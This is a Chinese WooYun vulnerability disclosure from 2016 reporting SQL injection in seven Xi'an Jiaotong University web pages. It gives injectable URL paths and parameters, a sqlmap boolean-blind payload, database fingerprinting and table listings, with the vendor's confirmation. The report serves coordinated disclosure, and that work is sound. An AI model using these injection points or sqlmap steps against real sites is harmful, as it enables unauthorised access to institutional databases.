当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0166164

漏洞标题：西安交通大学sql注入打包

相关厂商：西安交通大学

漏洞作者： 路人甲

提交时间：2016-01-03 21:16

修复时间：2016-02-12 18:49

公开时间：2016-02-12 18:49

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-03： 细节已通知厂商并且等待厂商处理中
2016-01-04： 厂商已经确认，细节仅向厂商公开
2016-01-14： 细节向核心白帽子及相关领域专家公开
2016-01-24： 细节向普通白帽子公开
2016-02-03： 细节向实习白帽子公开
2016-02-12： 细节向公众公开

简要描述：

西安交通大学（Xi`an Jiaotong University）简称“西安交大”，位于古都西安，是国家“七五 ”、“八五”首批重点建设高校，是全国重点综合性研究型大学，是国家“211工程”首批重点建设的七所大学之一，“985工程”首批重点建设的九所高校之一，被国家确定为以建设世界知名高水平大学为目标的教育部直属全国重点大学。是中国常青藤盟校（九校联盟，C9）、“111计划”重要成员，“珠峰计划”首批11所名校之一，教育部首批“卓越工程师教育培养计划”高校，国家2011计划“高端制造装备协同创新中心”牵头高校。

详细说明：

只确认注入。
1>http://**.**.**.**:80/plan.do?method=getexpert&type=expert

1.png


available databases [1]:
[*] crebas


2>http://**.**.**.**/chemlab/App/ViewArticle.asp?ID=5176&CHID=38

GET parameter 'ID' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] n
sqlmap identified the following injection points with a total of 81 HTTP(s) requ
ests:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=5176 AND 6842=6842&CHID=38
---
[16:59:42] [INFO] testing MySQL
[16:59:43] [WARNING] the back-end DBMS is not MySQL
[16:59:43] [INFO] testing Oracle
[16:59:44] [WARNING] the back-end DBMS is not Oracle
[16:59:44] [INFO] testing PostgreSQL
[16:59:46] [WARNING] the back-end DBMS is not PostgreSQL
[16:59:46] [INFO] testing Microsoft SQL Server
[16:59:47] [WARNING] the back-end DBMS is not Microsoft SQL Server
[16:59:47] [INFO] testing SQLite
[16:59:48] [WARNING] the back-end DBMS is not SQLite
[16:59:48] [INFO] testing Microsoft Access
[16:59:50] [INFO] confirming Microsoft Access
[16:59:51] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[2 tables]
+---------+
| article |
| topic   |
+---------+


2.png


3>**.**.**.**/show.php?id=%2f463.html title*

3.png


available databases [2]:
[*] bmp
[*] information_schema


4>http://**.**.**.**/about.asp?id=3190&classid=20

4.png


Database: Microsoft_Access_masterdb
[4 tables]
+---------+
| admin   |
| article |
| links   |
| vote    |
+---------+


5>**.**.**.**/newdetail.aspx?oid=1432*&pid=374&cid=375

5.png


Database: Microsoft_Access_masterdb
[5 tables]
+---------------+
| administrator |
| article       |
| feedback      |
| links         |
| userinfo      |
+---------------+


6>**.**.**.**/front/articlenews/articlenewsshow.aspx?Uid=201203190957092812test*

6.png


Database: Microsoft_Access_masterdb
[2 tables]
+--------+
| user   |
| school |
+--------+


7>**.**.**.**/front/articlenews/articlenewslist.aspx?articletype=29*

7.png


Database: Microsoft_Access_masterdb
[6 tables]
+----------+
| position |
| user     |
| access   |
| article  |
| school   |
| usertype |
+----------+

漏洞证明：

只确认注入。
1>http://**.**.**.**:80/plan.do?method=getexpert&type=expert

1.png


available databases [1]:
[*] crebas


2>http://**.**.**.**/chemlab/App/ViewArticle.asp?ID=5176&CHID=38

GET parameter 'ID' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] n
sqlmap identified the following injection points with a total of 81 HTTP(s) requ
ests:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=5176 AND 6842=6842&CHID=38
---
[16:59:42] [INFO] testing MySQL
[16:59:43] [WARNING] the back-end DBMS is not MySQL
[16:59:43] [INFO] testing Oracle
[16:59:44] [WARNING] the back-end DBMS is not Oracle
[16:59:44] [INFO] testing PostgreSQL
[16:59:46] [WARNING] the back-end DBMS is not PostgreSQL
[16:59:46] [INFO] testing Microsoft SQL Server
[16:59:47] [WARNING] the back-end DBMS is not Microsoft SQL Server
[16:59:47] [INFO] testing SQLite
[16:59:48] [WARNING] the back-end DBMS is not SQLite
[16:59:48] [INFO] testing Microsoft Access
[16:59:50] [INFO] confirming Microsoft Access
[16:59:51] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[2 tables]
+---------+
| article |
| topic   |
+---------+


2.png


3>**.**.**.**/show.php?id=%2f463.html title*

3.png


available databases [2]:
[*] bmp
[*] information_schema


4>http://**.**.**.**/about.asp?id=3190&classid=20

4.png


Database: Microsoft_Access_masterdb
[4 tables]
+---------+
| admin   |
| article |
| links   |
| vote    |
+---------+


5>**.**.**.**/newdetail.aspx?oid=1432*&pid=374&cid=375

5.png


Database: Microsoft_Access_masterdb
[5 tables]
+---------------+
| administrator |
| article       |
| feedback      |
| links         |
| userinfo      |
+---------------+


6>**.**.**.**/front/articlenews/articlenewsshow.aspx?Uid=201203190957092812test*

6.png


Database: Microsoft_Access_masterdb
[2 tables]
+--------+
| user   |
| school |
+--------+


7>**.**.**.**/front/articlenews/articlenewslist.aspx?articletype=29*

7.png


Database: Microsoft_Access_masterdb
[6 tables]
+----------+
| position |
| user     |
| access   |
| article  |
| school   |
| usertype |
+----------+

修复方案：

你们更专业。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2016-01-04 13:38

厂商回复：

通知处理中

最新状态：

暂无